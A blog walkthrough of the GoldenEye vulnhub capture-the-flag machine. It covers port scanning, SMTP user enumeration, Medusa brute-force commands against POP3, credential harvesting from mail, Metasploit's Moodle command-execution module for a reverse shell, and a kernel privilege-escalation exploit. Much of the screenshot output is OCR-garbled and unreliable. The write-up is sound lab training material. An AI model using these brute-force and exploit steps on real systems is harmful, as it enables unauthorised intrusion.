GoldenEye CTF < BorderGate

This article covers a brief walk-through of a Goldeneye themed vulnhub system. Based on the systems description, brute forcing was going to be key;

No extra tools other than what’s on Kali by default
Any brute forcing will only need fasttrack.txt or less

Scanning & Enumeration

I started by port scanning the system. POP3 looks like a good brute force candidate.

nmap -sv -p-
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-17 18:41 EST
Nmap scan report for 192.168.0.108
Host is up (ø.oee23s latency).
Not shown: 65531 closed ports
PORT
25/tcp
86/tcp
STATE
open
open
55006/tcp open
55007/tcp open
MAC Address: 08
SERVICE
smtp
http
ss1/pop3
pop3
27;32
VERSION
Postfix smtpd
Apache httpd 2-4.7 ( (Ubuntu))
Dovecot pop3d
Dovecot pop3d
(Oracle VirtualBox virtual NIC)

Heading to the web server, a login console also appears to be available:

GoldenEye primary Admin X +
@ 192.168.0.108
Most Visited O Offensive Security OKati Linux OKati Docs O Kali Tools O Exploit-DB Aircrack-ng
Severnaya Auxiliary Control Station
SECRET
Accessing Server Identity
Server Name: ..... ..... ...... .
GOLDENEYE
User: UNKNOWN
Naviagate to /sev-home/ to logi

The source code (terminal.js) which shows this message reveals two potential user names, and an encoded password:

Golden* Primary Admin S x http://192.168.O.108/termiT x +
@ view-source:http://192.168.O.108/terminaLjs
MostVisited @Offensive Security @ KaliLinux @ Kali Docs @KaliTools @Exploit-DB •Aircrack-ng @Kali Forums
var data I
GoldenEyeText: •espanxbr/>Severnaya Auxiliary Control SECRET Server Id
//Boris, make sure you update your default passwrd.
//hy sources say M16 maybe planning to infiltrate.
//Be on the lookout for any suspicious network traffic..
// I encoded you belm€...
/ 'BTU Natalya says she can break your codes
var altEIements
for (var j —
e. j < aUEtement5. length;
var currentEtementId - aUEtement51jl.id;
var currentEtementIdContent — datalOllcurrentEIementIdl;
var element — docurnt.getEtementById(currentEIerntId);
var devTypeText - currentEIementIdContent:

I decoded the password (InvincibleHack3r) with BurpSuite:

вигр
- Тетрогагу Propct
Вир RepeatU Не[р
И;ег
е
rts
Теп О нех
теп О нех
э
о
T.rqet Ргоху Spider
•ntwder
Repeater
Сот р.тг
Project
decode

Connecting to the SMTP port, I used the VRFY command to check if these users exist on the system:

telnet 192. 25
Trying 192. 168.0. 108.
connected to
Escape character is '
220 ubuntu GoldentEye SMTP Electronic-mail agent
VRFY test
550 5.1.1 etest>: Recipient address rejected: user unknown in local recipient table
VRFY Natalya
252 2.ø.o Natalya
VRFY boris
252 2.ø.o boris
VRFY james
550 5.1.1 <james:•:
Recipient address rejected:
User unknown in local recipient table

Logging in with the Boris/InvincibleHack3r account we appear to hit a dead end:

192.168.0.108/sev• home/ x +
G) 192.168.0.108/sev-home/
•ecurity O Kali Linux O Kali Docs O Kali Tools O Exp'Oit-DB Aircrack-nq O Kali Forums O NetHunter O Kali Training Gettinq Started
GOLDENEY
is a Top Secret Soviet oribtal weapons project
Since you have access you definitely hold a Top Secret
clearance and quality to be a certified GoldenEye Netw'ork
operator (GNO)
Please email qualified9NO supervisor to•receive the
online GoldenEye O*rators Training to become an
uninistrator ye system
have configured rpOp3 rvice to ru
very high
default port' •

Brute Forcing

Using Medusa and the fasttrack.txt wordlist, I attempted to brute force the passwords for the two accounts previously identified:

medusa -u boris -P /usr/share/wordlists/fasttrack.txt -h 192.168.0.108 -M pop3 -n 55007 -t 20 -b -v 0

ACCOUNT
ACCOUNT
ACCOUNT
ACCOUNT
[ pop3]
CHECK:
CHECK .
• Ipop31
[ pop3]
CHECK:
(pop31
FOUND :
Host :
Host:
Host :
Host:
192.168.ø.
192.168.0. 108
192.168.0. 108
192. 168.0, 108
(1 Of
(1 ot
(I Of
user:
1, complete)
1, complete)
I, complete)
boris Password:
User: boris (I Of I,
user: borts (1 ot 1,
User: boris (I Of I,
( succESSl
secretl!
e complete)
O complete)
e complete)
password: Company123 (139 Of 221 complete)
Passwo rd:
companyl! (140 ot 221 complete)
Passwo rd :
secretl! (141 Of 221 complete)

Valid Account: boris:secret1!

medusa -u natalya -P /usr/share/wordlists/fasttrack.txt -h 192.168.0.108 -M pop3 -n 55007 -t 20 -b -f

ACCOUNT
ACCOUNT
ACCOUNT
CHECK:
CHECK:
FOUND:
• Ipop31 H
( pop3]
(pop31
[pop31
Host:
Host:
Host:
192.
192.168.0. 108
192. 168.0. 108
of
(1 of
user:
o complete) User: natal ya
t I, O comp Lete)
1, complete) User: natalya of
1, O complete)
1, O complete) User: natalya (1 of
1, O complete)
natalya Password: bird Isoccessl
Password
password:
Password:
password! (10
I complete)
sqlaccount (101 of 221 complete)
bird (102 of 221 complete)

Valid Account: natalya:bird

I configured Claws mail to see if anything interesting appeared in these email accounts:

e
File Edit View Message Tools
Get Mail
Send Compose
subject)
(No Subject)
Inbox
1 item selected (9038)
S ubject
wea, Apr .
Boris,
Configuration Help
- Claws Mail 3.17.3
9
Wastebin
Reply
All
From
Sender
Date
Spam
Next
22
natalya@ubuntu 21/04/95(Fri) 22:
o
Size
oosal
362B
o new, O unread, 3 total (1.75Ka)
Your cooperation with our syndicate witt pay off big. Attached are the final access codes
for GoldenEye. Place them in a hidden file Within the root directory Of this server then
remove from this email. There can only be one set of these acces codes, and we need to
secure them for the final execution. If they are retrieved and captured our plan will crash
and burn!
Once Xenia gets access to the training site and becomes familiar with the GoldenEye
Terminat codes we wilt push to our tinat stages.
PS • Keep security tight or we witt be compromised.

This revealed more credentials:

username: xenia
password: RCP90rulez!

- Claws Mail 3.17.3
File Edit View Message Tools Configuration Help
Sond Compose Reply All Sender
Get Mail
S subject
Forward
9
Wastebin Spam
From
root@uäuntu
Next
Date
Size
1023B
• a Mailbox (MY
Inbox
sent
Drafts
Queue
8 Wastebin
o
o
(No
Inbc» (1023 a)
Subject
From: root@ubuntu
23
O O 5 total (3.35K8)
Clear
Date: Tue, 29 Apr 1995 -0700 (PDT)
Ok Natatyn I have a new student for you. As this is a new
system please let me or boris know if you see any config
issues, especially is it's related to security.
..even if it's
not, just enter it in under the guise of "security" ..
.it'U
get the change order escalated without much hassle : )
Ok, user creds are:
username: xenia
password: RCP90ruIez!
Boris verified her as a valid contractor so just create the
account ok?
And if you didn't have the URL on outr internat Domain:
severnaya-station.com/gnocertdir
sure to edit your host file since you usually work
remote off-network....
Since you' re a Linux user just point this servers IP to
severnaya•station.com in /etc/hosts.

Logging into the URL mentioned in the email (severnaya-station.com/gnocertdir), presents us with a Moodle CMS website, where a message from Dr. Doak awaits..

Xenia X
All
Add Block
Recent I (I)
09:24 PM: Greetings
AS a Contractor to our GoldenEye I you. your aCCtNJnt been complete,
mote courses WII on yow dasnmard. you nave ary questions me via email, not here.
My emal username is..
or Chak "The coctor
Training Scientist • Sr Level SL4AVisu
GolcÉ•nEye Operations Center Sector
Level 14 - N02 - id;998623-1334
campus a, Building 57, -8. sector 6, cube
Phone 555-193-826
cell 555-836044
Office 555-846-9811
p onaJ 555-826-9923
Email:
Please Recycle you print. Stay Green aka save the company money!
"There's such a tning as Good Griet Just ask Charlie grown" • someguy
"You miss ICXM ot the shots dont shoot at• Wayne G.
THIS A SECURE MESSAGE DO NOT SENO UNLESS.

Poking around the Moodle application didn’t reveal much interesting, so time for more brute force:

medusa -u doak -P /usr/share/wordlists/fasttrack.txt -h 192.168.0.108 -M pop3 -n 55007 -t 20 -b -f

Valid Account: doak/goat

Logging into the email account, more credentials were uncovered:

username: dr_doak
password: 4England!

- Claws Mail 3.17.3
File Edit View Message Tools
Get Mail
F older
Send Compose
Configuration Help
Reply All
Sender
101 Subject
(No Suble'-t)
(No subject)
(No subject)
(No subject)
(No subject)
(No subiect)
Forward
9
Wastebin Spam
From
Next
'Date
• 6 Mailbox (MY
sent
Drafts
Queue
8. wastebin
O
O
root@ubuntu
29/04/95(sat) 23
alec@janus.boss 22/04/95(sat) 22
natalya@ubuntu 21/04/95(Fri) 22:
root@ubuntu
10/04/95(Mon) 2
root@127.o.o. l.c 02/04/90(Mon) 2
Size
3883
1023B
903B
362B
618B
533B
1 ted (588B)
O O 6 total ,
Clear
Subject
From: doak@ubuntu
Date: Tue, 30 Apr 1995 -0700 (PDT)
James ,
If you're reading this, congrats you've gotten this far. You
know how tradecraft works right?
Because 1 don 't. Go to our training site and login to my
account... -dig until you can exfiltrate further
information.
username: dr doak
password: 4England!

Logging into the Moodle website using the Dr. Doak account, we find a s3cret.txt file:

$'n My private files My private files - Mozilla F iretox G) severnaya-station.com/gnocertdir\user/filesvhp Most Visited Offensive Security O Kali Linux O Kali Docs Kali Tools O Exploit-DB You i' as Dt Doak LOOOuO My private files Home My profile My pnvate tiles r-hvigation • My home Site My p«otile Vien profile tor lames Manage my private tiles Forum Mes sages My private files Courses Settings My profile settings Edit profile • Chæve password Me-S s You are logged in as (Logout)$

The contents of the file point to a .jpg file:

Open
s3cret.txt
e
o t i U. _tOOtO
o
I was able to capture this apps admln cr3ds through clear txt.
Text throughout most web apps within the GoldenEye servers are scanned,
cannot add the cr3dentials here.
Something juicy is Located here: /dirø07key/for-007 .jpg
so 1
Also as you may know, the RCP-90 Is vastly superior to any other weapon and
License to Kill is the only way to play.
Plain Tot
Tab Width: S
Lnl. coll
INS

Downloading the image shows the following.

And since it wouldn’t be a CTF without exiftool being required..

Ex1F tags
Tag
in
exif
for. 007 .jpg
'for-007 .jpg' ( 'Motorola i
byte order):
Image Description
Manufacturer
Resolution unit
So f twa re
Artist
YCbCr Positioning
x- Resolution
Y -Resolution
Exlf version
I Value
IGOIdenEye
I Inch
I linux
I For James
I Centred
I unknown Exif Version
Components Configuraly Cb Cr -
User Comment
FlashPixVersIon
Colour Space
IFor 007
I FlashPix Version I.e
I Internal error (unknown value 65535)
echo "eFdpbnRlcjE50TV41Q=• I base64 -d
xWinter1995x! roo :

password: xWinter1995x!

Using the this password, I was then able to login as an admin to the Moodle application:

Remote Access

Metasploit includes a Moodle CMS module, which allows for code execution provided you have an admin account, so I thought I would give that a try.

ms-t.5 exploit(
multi,'http,'moodle_cmd_exec) > show options
Module options (exploit/mutti/http/moodte_cmd
Name
PASSWORD
proxies
RHOSTS
RPORT
SESSKEY
SSI_
TARGETURI
USERNAME
VHOST
Current Setting
xwinter1995x!
192.168.0. les
false
/ gnoce rtdir
admin
severnaya-station
.com
Requi red
yes
yes
yes
yes
yes
no
exec) :
Description
Password to authenticate With
A proxy chain of format
The target address range or CIDR identifier
The target port (TCP)
The session key of the user to impersonate
Negotiate SSL/TLS for outgoing connections
The URI of the Moodie installation
Username to authenticate with
HTTP server virtual host
Exploit target:
Id
Name
Automatic

The module injects code into the aspell system path to gain a reverse shell, however my first attempt didn’t work out.

After some time poking around the site settings, this appeared to be because a different spell check system was being invoked. I headed over to Site Administration > Plugins > Text Editors and set the spell engine to PSpellShell:

C:\Users\user\AppData\Local\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe\TempState\msohtmlclip\clip_image021.png

Success!

C:\Users\user\AppData\Local\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe\TempState\msohtmlclip\clip_image022.png

Privilege Escalation

After doing a “uname -a” it appears the system was running Kernel 3.13.0-32-generic which is vulnerable to the following exploit: https://www.exploit-db.com/exploits/37292. I copied the exploit across from my Kali system:

C:\Users\user\AppData\Local\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe\TempState\msohtmlclip\clip_image023.png

Unfortunately, gcc wasn’t available to compile the exploit, however does have the Clang compiler installed:

C:\Users\user\AppData\Local\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe\TempState\msohtmlclip\clip_image024.png

I modified the exploit so references to gcc were replaced with clang, and compiled it. This generated some warnings, but did produce an “a.out” executable:

C:\Users\user\AppData\Local\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe\TempState\msohtmlclip\clip_image025.png

Executing it we get a root shell:

C:\Users\user\AppData\Local\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe\TempState\msohtmlclip\clip_image026.png

Checking out the /root directory, we can see a .flag.txt file:

C:\Users\user\AppData\Local\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe\TempState\msohtmlclip\clip_image027.png

Visiting the URL shows the flag has been captured:

C:\Users\user\AppData\Local\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe\TempState\msohtmlclip\clip_image028.png

Victory. It’s quite a fun challenge with a couple of small curve-balls. Could be improved by the addition of Defense Minister Dmitri Mishkin 😉

Scanning & Enumeration

Brute Forcing

Remote Access

Privilege Escalation

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